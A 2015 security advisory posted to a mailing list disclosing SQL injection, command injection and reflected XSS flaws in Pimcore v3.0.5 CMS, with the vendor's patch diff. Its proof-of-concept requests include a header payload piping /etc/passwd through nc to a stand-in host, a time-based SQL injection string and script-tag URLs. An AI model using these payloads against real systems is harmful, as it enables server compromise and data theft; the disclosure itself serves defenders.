Date: Fri, 08 May 2015 15:52:42 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: bugtraq@...urityfocus.com, bugs@...uritytracker.com
Subject: Pimcore v3.0.5 CMS - Multiple Web Vulnerabilities

Document Title:
===============
Pimcore v3.0.5 CMS - Multiple Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1482


Release Date:
=============
2015-05-08


Vulnerability Laboratory ID (VL-ID):
====================================
1482


Common Vulnerability Scoring System:
====================================
6.2


Product & Service Introduction:
===============================
Pimcore is a powerful and robust Zend Framework based PHP content management system (CMS) for creating and managing digital 
content and assets licensed under the open-source BSD license. Create outstanding digital experiences on the most flexible 
content management platform available. Manage and edit any type of digital content, for any device and channel in a 100% 
flexible and personalized way. Pimcore features award-winning single-source and multi-channel publishing functionality 
making it easy to manage, update, and integrate content and data from various sources. With pimcore brands can create 
and manage rich digital experiences for all of their output channels at once: web, mobile, apps, social platforms, 
print and digital signage. With pimcore you can truly `edit once & reuse anywhere`.

(Copy of the Homepage: https://www.pimcore.org/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered multiple vulnerabilities in the official PIM Core v3.0.5 Content Management System.


Vulnerability Disclosure Timeline:
==================================
2015-05-01:	Researcher Notification & Coordination (Alain Homewood - PwC New Zealand)
2015-05-01:	Vendor Notification (PimCore CMS Security Team)
2015-05-05:	Vendor Response/Feedback (PimCore CMS Security Team)
2015-05-07:	Vendor Fix/Patch (PimCore Developer Team)
2015-05-08:	Public Disclosure (Vulnerability Laboratory - Alain Homewood)


Discovery Status:
=================
Published


Affected Product(s):
====================
Pimcore GmbH
Product: PimCore - Content Management System 3.0.5


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
A (time-based) blind sql injection web vulnerability has been discovered in the official Pimcore v3.0.5 Content Management System (web-application).
The vulnerability allows remote attackers or privileged user accounts to execute own sql commands to compromise the affected web-server dbms.

A blind authenticated SQL injection vulnerability exists in the filtering functionality of the HTTP error display in the administration panel. 
Authenticated is required to exploit this vulnerability, however low privilege users may have access to this functionality (i.e. its located 
under `Marketing - Search Engine Optimisation`). The request method to execute the malicious sql commands is GET and the issue is exists in 
the code line of the web-application.

The security risk of the sql vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.2.
Exploitation of the remote sql injection web vulnerability requires a low privilege application user account without user interaction. 
Successful exploitation of the sql injection vulnerability results in application and web-service or dbms compromise.

Request Method(s):
						[+] GET

Vulnerable Module(s):
						[+] ./misc/http-error-log

Vulnerable Parameter(s):
						[+] _dc


1.2
A command execution web vulnerability has been discovered in the official Pimcore v3.0.5 Content Management System (web-application).
The vulnerability allows remote attackers or local privilege user accounts to compromise the web-server by execution of malicious code.

The newsletter sending functionality uses unsanitized user provided input as part of a shell command. Authenticated users can manipulate 
these values to execute arbitrary commands. Note that low privilege users are likely to have access to this functionality (e.g. marketing users). 
Authenticated is required to exploit this vulnerability. The request method to execute is POST and the attack vector is located on the 
application-side of the online service.

The security risk of the arbitrary code execution vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.1.
Exploitation of the arbitrary code execution vulnerability requires no user interaction but a low privilege web-application user account.
Successful exploitation of the remote vulnerability results in unauthorized execution of system specific codes.

Request Method(s):
						[+] POST

Vulnerable Module(s):
						[+] /reports/newsletter/send

Vulnerable Parameter(s):
						[+] HOST


1.3
Two reflected cross site scripting web vulnerability has been discovered in the official Pimcore v3.0.5 Content Management System (web-application).
The vulnerability allows remote attackers to inject own script code on the client-side to the user (browser) application requests.

Two reflected cross site scripting vulnerabilities exist in the administration panel. The issues are located in the `id` value of the echo back through 
the `exportClassAction()` and `exportCustomLayOutDefinitionAction()` functions of the `userClassController.php` file. The request method to execute is GET 
and the issues are located on the client-side of the online-service web application.

The security risk of the cross site scripting web vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 3.2.
Exploitation of the arbitrary code execution vulnerability requires no user interaction or privileged web-application user account with password.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing, persistent external redirects and persistent 
manipulation function or connected module context.

Request Method(s):
						[+] GET

Vulnerable Module(s):
						[+] exportClassAction()
						[+] exportCustomLayOutDefinitionAction()
						
Vulnerable File(s):
						[+] userClassController.php

Vulnerable Parameter(s):
						[+] id


Proof of Concept (PoC):
=======================
1.1
The blind sql injection web vulnerability can be exploited by remote attackers with low privilege application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Get requests to /admin/misc/http-error-log fail to sanitise the value of the "limit" parameter which allows users to inject SQL statements.

The unsanitized value of the parameter is included in the following SQL query in MiscController.php:
$logs = $db->fetchAll("SELECT code,uri,`count`,date FROM http_error_log " . $condition . " ORDER BY " . $sort . " " . $dir . " LIMIT " . $offset . "," . $limit);

PoC or Exploitcode:
This vulnerability can be exploited with a time based technique as described on:
https://rateip.com/blog/sql-injections-in-mysql-limit-clause/

--- PoC Session Logs [GET] ---
	GET /admin/misc/http-error-log?_dc=1430255599566&limit=20%20PROCEDURE%20analyse((select%20extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1)%20LIKE%205,BENCHMARK(5000000,SHA1(1)),1))))),1)&filter= HTTP/1.1
	Host: [VULNERABLE]
	Accept: */*
	Accept-Language: en-US,en;q=0.5
	Accept-Encoding: gzip, deflate
	X-pimcore-csrf-token: 44efd8fe89806470db942bbb20ce1e6909eae4bc
	X-Requested-With: XMLHttpRequest
	Referer: http://[VULNERABLE]/admin/?_dc=1430255468
	Cookie: pimcore_admin_sid=llcv0iq3bthb6alpscnj401dc1
	Connection: keep-alive
	
Reference(s):
admin/misc/http-error-log?_dc=


1.2
The code execution web vulnerability can be exploited by remote attackers without privilege application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

The users hostname is retrieved through $_SERVER['HTTP_X_FORWARDED_HOST'] or $_SERVER['HTTP_HOST'] and then included in a command that is executed (NewsletterController.php).

PoC: The command to be executed can be inserted into an X-forwarded-host HTTP header, for example:
--- PoC Session Logs [POST] ---
	POST /admin/reports/newsletter/send HTTP/1.1
	Host: 1[VULNERABLE]
	Accept: */*
	Accept-Language: en-US,en;q=0.5
	Accept-Encoding: gzip, deflate
	Content-Type: application/x-www-form-urlencoded; charset=UTF-8
	X-pimcore-csrf-token: 44efd8fe89806470db942bbb20ce1e6909eae4bc
	X-Requested-With: XMLHttpRequest
	Referer: http://[VULNERABLE]/admin/?_dc=1430259866451
	Content-Length: 20
	Cookie: pimcore_admin_sid=llcv0iq3bthb6alpscnj401dc1
	Connection: keep-alive
	Pragma: no-cache
	Cache-Control: no-cache
	X-forwarded-host:  && cat /etc/passwd | nc hacker 1234
	
Reference(s):
/admin/reports/newsletter/send	


1.3
The cross site scripting web vulnerabilities can be exploited by remote attackers with low privilege application user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Unsanitized user provided input in the "id" parameter is echoed back to the user in the exportClassAction() and exportCustomLayOutDefinitionAction() functions in userClassController.php.

Only authenticated users with permission to access the class export functionality are vulnerable to this (i.e. administrators)

PoC:
http://[VULNERABLE]/admin/class/export-class?id=<script>alert(1)</script>
http://[VULNERABLE]/admin/class/export-custom-layout-definition?id=<script>alert(1)</script>


Solution - Fix & Patch:
=======================
URL(s): https://github.com/pimcore/pimcore/commit/a01a4c87a782a7b20ccc4081c9340698f2d52573

pimcore/modules/admin/controllers/ClassController.php
@@ -484,10 +484,12 @@ public function getAllLayoutsAction() {
     public function exportClassAction() {
 
         $this->removeViewRenderer();
-        $class = Object ClassDefinition::getById(intval($this->getParam(``id``)));
+
+        $id = intval($this->getParam(``id``));
+        $class = Object ClassDefinition::getById($id);
 
         if (!$class instanceof Object ClassDefinition) {
-            $errorMessage = ``: Class with id [ `` . $this->getParam(``id``) . `` not found. ]``;
+            $errorMessage = ``: Class with id [ `` . $id . `` not found. ]``;
              Logger::error($errorMessage);
             echo $errorMessage;
         } else {
@@ -496,14 +498,13 @@ public function exportClassAction() {
             header(``Content-Disposition: attachment; filename= ``class_`` . $class->getName() . ``_export.json ````);
             echo $json;
         }
-
     }
 
 
     public function exportCustomLayoutDefinitionAction() {
 
         $this->removeViewRenderer();
-        $id = $this->getParam(``id``);
+        $id = intval($this->getParam(``id``));
 
         if ($id) {
             $customLayout = Object ClassDefinition CustomLayout::getById($id);

pimcore/modules/reports/controllers/NewsletterController.php
@@ -185,7 +185,7 @@ public function sendAction() {
 
         $letter = Newsletter Config::getByName($this->getParam(``name``));
         if($letter) {
-            $cmd = Tool Console::getPhpCli() . `` `` . realpath(PIMCORE_PATH . DIRECTORY_SEPARATOR . ``cli`` . DIRECTORY_SEPARATOR . ``send-newsletter.php``). `` `` . $letter->getName() . `` `` . Tool::getHostUrl();
+            $cmd = Tool Console::getPhpCli() . `` `` . realpath(PIMCORE_PATH . DIRECTORY_SEPARATOR . ``cli`` . DIRECTORY_SEPARATOR . ``send-newsletter.php``). `` `` . escapeshellarg($letter->getName()) . `` `` . escapeshellarg(Tool::getHostUrl());
             Tool Console::execInBackground($cmd, PIMCORE_LOG_DIRECTORY . ``/newsletter--`` . $letter->getName() . ``.log``);
         }
 


pimcore/modules/admin/controllers/MiscController.php
@@ -325,8 +325,8 @@ public function httpErrorLogAction() {
 
         $db = Resource::get();
 
-        $limit = $this->getParam(``limit``);
-        $offset = $this->getParam(``start``);
+        $limit = intval($this->getParam(``limit``));
+        $offset = intval($this->getParam(``start``));
         $sort = $this->getParam(``sort``);
         $dir = $this->getParam(``dir``);
         $filter = $this->getParam(``filter``);


Security Risk:
==============
1.1
The security risk of the blind sql injection web vulnerability in the pimcore cms is estimated as high. (CVSS 6.2)

1.2
The security risk of the code execution web vulnerability in the pimcore cms is estimated as high. (CVSS 6.1)

1.3
The security risk of the reflected cross site scripting web vulnerabilities in the pimcore cms are estimated as medium. (CVSS 3.2)


Credits & Authors:
==================
Alain Homewood - PwC New Zealand (http://www.pwc.co.nz/services/assurance-services/pwc-security/)


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, 
policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       		- www.evolution-sec.com
Contact:    admin@...nerability-lab.com 	- research@...nerability-lab.com 	       		- admin@...lution-sec.com
Section:    magazine.vulnerability-db.com	- vulnerability-lab.com/contact.php		       	- evolution-sec.com/contact
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       		- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   		- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php  	- vulnerability-lab.com/list-of-bug-bounty-programs.php	- vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website 
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact 
(admin@...nerability-lab.com or research@...nerability-lab.com) to get a permission.

				Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™



-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@...nerability-lab.com
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt

Powered by blists - more mailing lists